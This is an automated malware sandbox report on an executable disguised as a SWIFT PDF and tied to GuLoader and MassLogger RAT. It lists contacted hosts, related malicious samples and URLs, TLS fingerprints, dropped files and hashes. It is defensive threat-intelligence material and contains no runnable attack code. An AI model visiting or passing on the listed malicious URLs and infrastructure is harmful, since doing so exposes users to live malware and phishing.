Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SWIFT091816-24_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 147 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SWIFT091816-24_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
03:05:49	API Interceptor	137x Sleep call for process: SWIFT091816-24_pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
104.21.67.152	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse
	41570002689_20220814_05352297_HesapOzeti.exe	Get hash	malicious	MassLogger RAT	Browse
	malware.ps1	Get hash	malicious	MassLogger RAT	Browse
	Shipping Documents.exe	Get hash	malicious	MassLogger RAT	Browse
193.122.6.168	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	REQUEST FOR QUOATION AND PRICES 0108603076-24_pdf.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	193.122.130.0
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
reallyfreegeoip.org	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
api.telegram.org	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	149.154.167.220
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	arm5.elf	Get hash	malicious	Unknown	Browse	147.154.242.4
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	193.122.130.0
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	140.204.52.53
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
TELEGRAMRU	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	149.154.167.99
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse	149.154.167.220
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	149.154.167.99
CLOUDFLARENETUS	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	webhook.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.187.200
	https://zde.soundestlink.com/ce/c/675fab7ba82aca38b8d991e6/675fabf585cd17d1e3e2bb78/675fac13057112d43b540576?signature=da009f44f7cd45aeae4fbb5addf15ac91fbf725bb5e9405183f25bf1db8c8baa	Get hash	malicious	Unknown	Browse	104.26.10.61
	https://keepsmiling.co.in/front/indexxxx.html?em=NT43NUs6MllJO0ZdVTkzKSA8NzlDOkcgTjhWXU0=	Get hash	malicious	Unknown	Browse	104.21.89.91
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.79.7
	http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450	Get hash	malicious	Unknown	Browse	172.67.41.229
	1.elf	Get hash	malicious	Unknown	Browse	1.8.62.108
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	104.21.79.7

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Tvl72VM6PM.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Tvl72VM6PM.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	jignesh.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	skibidi.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	vanilla.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	149.154.167.220
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	149.154.167.220
	c2.hta	Get hash	malicious	XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.220
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	TD2HjoogPx.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	142.250.181.1 172.217.19.174
	c2.hta	Get hash	malicious	XWorm	Browse	142.250.181.1 172.217.19.174
	lem.exe	Get hash	malicious	Vidar	Browse	142.250.181.1 172.217.19.174
	Setup.msi	Get hash	malicious	Vidar	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	142.250.181.1 172.217.19.174
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	142.250.181.1 172.217.19.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	O0rhQM49FL.exe	Get hash	malicious	Unknown	Browse
	O0rhQM49FL.exe	Get hash	malicious	GuLoader	Browse
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Recaulescence.Tid

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	56144
Entropy (8bit):	4.602729797668527
Encrypted:	false
SSDEEP:	768:uWHutI/Kh5+BOfOywpKhYE4kirhMZs7fRVPYQagCy8s8ks7b:uhMKh5+BPTMaE4kidMVgTZ8R7b
MD5:	5E9B639D1BD991718F5616DC844CC948
SHA1:	10C13FACE71A7D77EBB4F8570AD9AB849C0DE6F4
SHA-256:	384967853FBF407613B54DD1D10577619EAE2B0905251C0A3445B5CE4E144ED1
SHA-512:	F3D887ED54F197158478E024CF1180164BB6849481E8EFD7901564308CEDE83B4A6480EA1DBEC71457ABDBF4BB6660A0D892EDA7E2A2E5B61BB560E713739807
Malicious:	false
Reputation:	low
Preview:	......b..........................xx....f.^..................1................Z..............m.......................8....4......`.nn......................[............................mm.......m..kk......BB..cc.4..................Z...................CC......6.................._...............mm..,.......zzz...%...............uu....................@........................................TT........>>>..xxx............................................%%...R........6..O....iii..................X....................@...2.^^....~~........RRR..................&.&.......oooo..$$$.. ........hh............................$.......=....D......P..nn...qqq...].............#................0.d.i.EE..................................111.llll...........z.....q........UUUU..o.....22...WW.i....+....f........ii......c....{{.....((.....YYY..\|\|\|............K......................E....T..i......ppppp..ooooo.w.hh...........V........................((..............................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	low
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Sgetilladelse.sti

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	265012
Entropy (8bit):	7.779151164586136
Encrypted:	false
SSDEEP:	6144:80CRHkWxHRRqVMr6UYR5gkpO+a5FzNJpYPjx++nZx:3nARqVMr7YR5k+aSPk+v
MD5:	9CE89B37C74BF9D6F5C859F5328E28E0
SHA1:	730DF2B270BA090A91BFCA3D44481F9D265BA8D8
SHA-256:	023EBB51F309BC108E0683918273BA04AD7BC912E28621785AA9A67BA4A73861
SHA-512:	AA3BBD32F8157E0A576FC106A2E5E5A36B871FDDBB0B25C2C2021DA7CD87ED9956DA10797F972F76F56C36EA5D22E281975DBBB3B3568AE93CF3F7A17E5032B7
Malicious:	false
Reputation:	low
Preview:	.................&........................99........................ ........M.....$$$$.......]..(((................777..........................`...!..................................................6......ss....lll.....j.''..........................\..................>......ii.......'.....,,....................g.....eee.77........CC./.............vvvvvv....6666....v.............````.............;;..............g.......................===.............B.......1111...{{{..kkk.............//...x.......$$...NN.........ssss..............x..............WWWWW...............??????.s.......................lll._....A......ll.........................QQ.................q.!...P...u.........[.c......H...?...........A..__...........F......**.pppp..>>.....tttt....A..D.:.............AAAA...................B......g............7...............<<......g..2222....&&.......................A.......J.......................A...e.......)..@@@@.H....DDD..............##..rrr....K.c.......a.........dddddd.......m

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	low
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	low
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe, Detection: malicious, Browse Filename: SWIFT09181-24_pdf.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: 5WP9WCM8qV.exe, Detection: malicious, Browse Filename: 5WP9WCM8qV.exe, Detection: malicious, Browse Filename: K8ZvbdkrGx.exe, Detection: malicious, Browse Filename: K8ZvbdkrGx.exe, Detection: malicious, Browse Filename: JOSXXL1.exe, Detection: malicious, Browse Filename: Certificado FNMT-RCM.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	3.250976511083343
Encrypted:	false
SSDEEP:	12:8wl0asXowAOcQ/tz0/CSL6/cBnwgXl341DEDeG41DED/RKQ1olfW+kjcmAahTCN7:8xLDWLrFPjPL9izZMspdqy
MD5:	DA3120C581FD7369156BF3B9B82815B5
SHA1:	12B60059AE6BCFFFADEB2D4BDD2B4000E5295362
SHA-256:	5EA5E2BC538A59AA6F16F46991007F577B6EA4B456D42CBBDCF25EAB84FFA971
SHA-512:	B65020A6B78960BED204A4F4C39BEE4BD43E28349DB8D61C91788D6600E89204DFFB4D9087434D8A924994C04C8C36F2A3D69563FDA8AE1D34A333F017AC2FD6
Malicious:	false
Preview:	L..................F........................................................m....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....P.1...........user.<............................................j.o.n.e.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.O.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.............y.............>.e.L.:..er.=y....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.958449020228623
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SWIFT091816-24_pdf.exe
File size:	434'942 bytes
MD5:	397346c3391583257950cfe556f0a5e6
SHA1:	10db5f36ad73ec9757cc05e04aef346a5e486fd5
SHA256:	342df796e039d1c4b24525eabc4a9e98ce5ff399a4d9ca92dc10b2b87a84c120
SHA512:	1761d7e174889423f882fc8ae6c993d9aefd99469f4d4245646cf7bd3bd50ef438c381d40432c973057248ac6eb4434b7f87c1f76bd685323c793aff4ae87ebd
SSDEEP:	12288:I5A6gahpmuyaqry4+bTuT+P33xOFL6IR8u7Jj1JK8s5FEeKI:ZFYcu6uu4CvR8u7Jj1Jicex
TLSH:	A59423513330EA72E8A14B354F379BF76A7A731545A05F0F8F64699838223C2CC6F969
